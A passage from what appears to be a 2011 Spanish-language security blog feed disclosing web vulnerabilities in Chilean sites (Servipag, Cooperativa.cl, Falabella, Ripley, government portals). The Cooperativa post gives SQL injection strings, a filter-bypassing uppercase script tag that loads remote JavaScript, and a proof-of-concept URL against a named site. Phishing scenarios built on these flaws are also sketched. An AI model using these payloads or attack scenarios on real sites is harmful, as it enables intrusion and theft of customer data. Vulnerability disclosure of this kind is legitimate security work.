<p><strong>No es esto poner en riesgo los datos de los usuarios?</strong></p>
<p>La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png"><img class="aligncenter size-full wp-image-2643" title="xss_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png" alt="" width="572" height="252" /></a></p>
<p><strong>Cual es el potencial riesgo de estas dos vulnerabilidades juntas?</strong></p>
<p>Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.</p>
<p>Nuevamente, <strong>Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.</strong></p>
<p><strong>ACTUALIZADO</strong> Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png"><img class="aligncenter size-full wp-image-2650" title="xss_serv" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png" alt="" width="425" height="336" /></a></p>
<p>Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.</p>
<p><strong>ACTUALIZADO (6 de Septiembre)</strong><br />
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para &#8220;obligarlos&#8221; a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:</p>
<p><a href="http://www.secureless.org/vulnerability/2034/">http://www.secureless.org/vulnerability/2034/</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-continua-siendo-un-portal-de-pagos-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"  data-text="Servipag: Continua siendo un portal de pagos inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Está preparado el gobierno chileno para recibir un ataque de robo de información ?</title>
		<link>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/</link>
		<comments>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 14:30:24 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[anonymous]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[seguridad por oscuridad]]></category>
		<category><![CDATA[servicios]]></category>
		<category><![CDATA[servidores]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2474</guid>
		<description><![CDATA[Ultimamente se han puesto de moda los ataques de &#8220;Anonymous&#8221;, ataques como tirar un sitio abajo o saturación de servidores, algo bastante simple que no requiere mucho conocimiento y es por esto que mucha gente se ha sumado. Algunos medios los han llamado &#8216;hackers&#8216; otros &#8216;simples aficionados que se descargan un programa, introducen una URL, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/vvenanon.gif"><img class="alignleft size-thumbnail wp-image-2506" title="vvenanon" src="http://blog.zerial.org/wp-content/uploads/2011/07/vvenanon-150x150.gif" alt="" width="114" height="114" /></a>Ultimamente se han puesto de moda los ataques de &#8220;Anonymous&#8221;, ataques como tirar un sitio abajo o saturación de servidores, algo bastante simple que no requiere mucho conocimiento y es por esto que mucha gente se ha sumado. Algunos medios los han llamado &#8216;<em>hackers</em>&#8216; otros &#8216;<em>simples aficionados que se descargan un programa, introducen una URL, se coordinan y presionan enter</em>&#8216;. Por suerte del gobierno se comparan con los ataques originales de Anonymous o LulzSec. Cuando digo &#8220;originales&#8221; me refiero a esos ataques que han salido a la luz donde divulgan información sobre las cuentas de usuario e información sensible y privada de las empresas, no a unos <strong>wannabe</strong>.</p>
<p>Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia &#8220;servicios&#8221; y no a &#8220;sitios&#8221;, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar &#8220;ataque organizado&#8221; porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.</p>
<p>El gobierno chileno tiene <strong>muchas</strong> brechas de seguridad informática y de la información, es por esto que me hago la pregunta, <strong>¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?</strong>, la respuesta clara es: <strong>NO</strong>. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple <strong>firewall</strong> que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que &#8220;todas las entidades del gobierno tienen fallos de seguridad&#8221;, pero me refiero al gobierno en general.</p>
<p>Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias <strong>gracias</strong>.</p>
<p><span id="more-2474"></span></p>
<p>El gobierno chileno es <strong>muy</strong> vulnerable a la fuga y robo de información (<em>data leak, data theft</em>).</p>
<p><strong>Fuga de Información o Data Leak</strong><br />
Basta con preparar un <em>dork</em> lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o <em>dumps</em> de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.</p>
<p><strong>Robo de Información o Data Theft</strong><br />
Asimismo, tambien es vulnerable al <em>robo de información o Data Theft</em>, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos <em>empleados publicos</em> tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.<br />
Se han preguntado si <strong>la información que se da de baja realmente se destruye?</strong><br />
- <strong>Qué información podemos encontrar en los basureros diariamente?</strong> Sería bueno hacer ese ejercicio &#8230;<br />
- <strong>Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?</strong><br />
- <strong>Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?</strong></p>
<p><strong>Servidores y Servicios</strong><br />
Si hablamos de la <em>seguridad a nivel de servidores y servicios</em>, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.</p>
<p><strong>Vulnerabilidades Web</strong><br />
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. <strong>Muchos</strong> sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, <strong>Arbitrary File Upload</strong>. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como &#8220;<strong>Full Path Disclosure + Arbitrary File Upload + Directory Traversal</strong>&#8221; para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.</p>
<p><strong>El caso del Ministerio del Interior</strong><br />
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra &#8220;pregunta&#8221;, se guardaba sin filtrar ni <em>parsear</em> en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.<br />
Esta vulnerabilidad fue corregida despues de haberla reportada.</p>
<p><strong>El caso de la Dirección General de Movilicación Nacional (DGMN)</strong><br />
La DGMN expone desde el 2007 la base de datos del <strong>registro del servicio militar</strong>, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.</p>
<p>Si en Chile el grupo &#8220;Anonymous&#8221; estuviese conformado por <em>hackers</em> con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Festa-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/"  data-text="Está preparado el gobierno chileno para recibir un ataque de robo de información ?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades en Cooperativa.cl: Saltándose los filtros.</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 13:58:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cooperativa]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[protecciones]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2579</guid>
		<description><![CDATA[Ya vimos en el caso de Servipag unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada. El sitio afectado corresponde al subdominio &#8220;musica.cooperativa.cl&#8221; el cual es [...]]]></description>
			<content:encoded><![CDATA[<p>Ya vimos en <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">el caso de Servipag</a> unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada.<br />
El sitio afectado corresponde al subdominio &#8220;<strong>musica.cooperativa.cl</strong>&#8221; el cual es vulnerable a inyección de código sql y cross site scripting.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png"><img class="aligncenter size-full wp-image-2582" title="cooperativa_musica" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png" alt="" width="617" height="88" /></a></p>
<p>La vulnerabilidad se encuentra en el archivo <strong>disco.php</strong> mediante la variable <strong>id</strong>. Es posible generar un error facilmente ingresando una comilla simple (&#8216;):</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png"><img class="aligncenter size-full wp-image-2584" title="cooperativa_1" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png" alt="" width="398" height="90" /></a></p>
<p>Hasta el momento el &#8220;<strong>filtro</strong>&#8221; escapa el la comilla y anteponiendo un <em>backslash</em> (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando <strong>&#8216;+or 1=+ union+select+database(),user()+&#8211;+</strong> y obtenemos como resultado <strong>&#8220;Error select * from disco where id=3342\&#8217;  1=    (),() &#8211;&#8221;</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png"><img class="aligncenter size-full wp-image-2585" title="cooperativa_2" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png" alt="" width="633" height="86" /></a></p>
<p>Efectivamente el &#8220;filtro&#8221; está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <strong>&lt;em&gt;prueba&lt;/em&gt;</strong>, obtenemos <strong>Error select * from disco where id=3342&lt;&gt;&lt;/&gt;</strong></p>
<p>Bien, ahora nos saltaremos los filtros que nos han puesto&#8230;</p>
<p><span id="more-2579"></span></p>
<p><strong>¿Piensas que es muy complicado?</strong></p>
<p>Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo <strong>único</strong> que tenemos que hacer es escribir con mayúsculas.<br />
Como prueba de concepto usaremos el siguiente link:</p>
<p><a href="http://musica.cooperativa.cl/disco.php?id=3342%3CSTRONG%3EHOLA!%20ESTOY%20ESCRIBIENDO%20CON%20MAYUSCULAS%20PARA%20SALTARME%20TU%20FILTRO!!%3C/STRONG%3E"><strong>http://musica.cooperativa.cl/disco.php?id=3342&lt;STRONG&gt;H</strong><strong>OLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!&lt;/STRONG&gt;</strong></a></p>
<p>Mira lo que obtenemos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3.png"><img class="aligncenter size-large wp-image-2587" title="cooperativa_3" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3-1024x89.png" alt="" width="691" height="60" /></a></p>
<p>Para realizar la típica <strong>prueba de concepto</strong>, usando la función <em>alert()</em> de JavaScript tendremos un problema, ya que al escribir &#8220;ALERT&#8221; (con mayúsculas), no encontrará ninguna función con ese nombre &#8230; Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <strong>&lt;SCRIPT&gt;</strong> con el atributo <em>SRC</em> y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script <strong>&#8220;POC.JS</strong>&#8221; que contiene &#8220;<strong>alert(&#8216;Prueba de concepto XSS&#8217;)</strong>&#8221; (sì, con minúsculas), entonces llamamos al script de la siguiente forma:</p>
<p><strong>&lt;SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS&gt;&lt;/SCRIPT&gt;</strong></p>
<p>Y obtenemos lo siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png"><img class="aligncenter size-full wp-image-2589" title="cooperativa_4" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png" alt="" width="470" height="392" /></a></p>
<p>Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.</p>
<p>Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo <strong>OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+&#8211;+</strong>, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png"><img class="aligncenter size-full wp-image-2590" title="cooperativa_5" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png" alt="" width="581" height="99" /></a></p>
<p>Ahora lo único que nos queda es empezar a <strong>jugar</strong> y encontrar la cantidad de columnas para poder extraer información de la base de datos.</p>
<p><strong>Un ataque más sofisticado &#8230;</strong></p>
<p>Este sitio corresponde a un lugar para descargar/comprar música &#8220;legalmente&#8221;, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien &#8230; Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a &#8220;<strong>Descargar musica a $1</strong> (<em>un peso</em>)&#8221;, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice &#8220;<em>Ha ocurrido un error inesperado. Intente mas tarde</em>&#8220;, pero <em>por debajo</em>, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.</p>
<p>La vulnerabilidad fue reportada</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-en-cooperativa-cl-saltandose-los-filtros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"  data-text="Vulnerabilidades en Cooperativa.cl: Saltándose los filtros." data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Falabella y Ripley: ¿Sitios realmente seguros?</title>
		<link>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/</link>
		<comments>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 08:25:45 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[falabella]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[ripley]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[verisign]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2595</guid>
		<description><![CDATA[Falabella y Ripley son dos &#8220;grandes tiendas&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: existe la seguridad al 100% ? Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para [...]]]></description>
			<content:encoded><![CDATA[<p>Falabella y Ripley son dos &#8220;<em>grandes tiendas</em>&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: <strong>existe la seguridad al 100% ?</strong></p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif"><img class="alignnone size-full wp-image-2596" style="margin-top: 2px; margin-bottom: 2px;" title="logo_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif" alt="" width="193" height="51" /></a><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif"><img class="alignnone size-full wp-image-2597" style="margin: 2px;" title="logo_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif" alt="" width="161" height="56" /></a></center></p>
<p>Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.<br />
Los sitios afectados son: <strong>http://www.falabella.cl</strong> y <strong>http://www.ripley.cl</strong> incluyendo los sitios &#8220;seguros&#8221; (https) de cada uno.</p>
<p>Lo más irónico es que los sitios estan &#8220;certificados&#8221; por una empresa de seguridad que según ellos:</p>
<blockquote><p>Verisign, líder mundial en certificación de comercio electrónico.</p></blockquote>
<p>Aunque no me sorprende, luego de <a href="http://blog.zerial.org/seguridad/cross-site-scripting-en-sitio-verisign-chile-e-sign/">haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign</a>.</p>
<p>Otra cosa que tambien les debería dar verguenza a estas empresas es <em>prometer</em> 100% de seguridad al usuario, como dice en sus propios sitios web:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png"><img class="aligncenter size-full wp-image-2600" title="ripley1" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png" alt="" width="464" height="342" /></a></p>
<p>Todo esto es una <strong>mentira</strong>.</p>
<p><span id="more-2595"></span></p>
<p>Con las 2 imagenes que veran a continuación, no habrá mucho que explicar&#8230;</p>
<p>1. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png"><img class="aligncenter size-full wp-image-2605" title="falabella_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png" alt="" width="675" height="554" /></a></p>
<p>2. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png"><img class="aligncenter size-full wp-image-2606" title="ripley_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png" alt="" width="642" height="512" /></a></p>
<p>Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios &#8220;super seguros&#8221; <strong>https</strong>.</p>
<p>Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella <strong>FALSO</strong>, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.</p>
<p>Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos <strong>nunca</strong> pedirán datos por correo pero sin embargo &#8230; Pero qué pasa si te llega un correo con links verdaderos a http<strong>S</strong>://www.falabella.com o http<strong>S</strong>://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos &#8230; Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.</p>
<p>Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las <span style="text-decoration: line-through;">mentiras</span> <strong>falsas promesas</strong> que hacen los portales de internet que por obligación <strong>DEBEN</strong> ser seguros, pero no los son.</p>
<p>La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffalabella-y-ripley-%25c2%25bfsitios-realmente-seguros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"  data-text="Falabella y Ripley: ¿Sitios realmente seguros?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Servipag.cl: El portal chileno de pagos online más inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/#comments</comments>
		<pubDate>Mon, 01 Aug 2011 02:36:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[altos estandares de seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2519</guid>
		<description><![CDATA[La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error. Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien [...]]]></description>
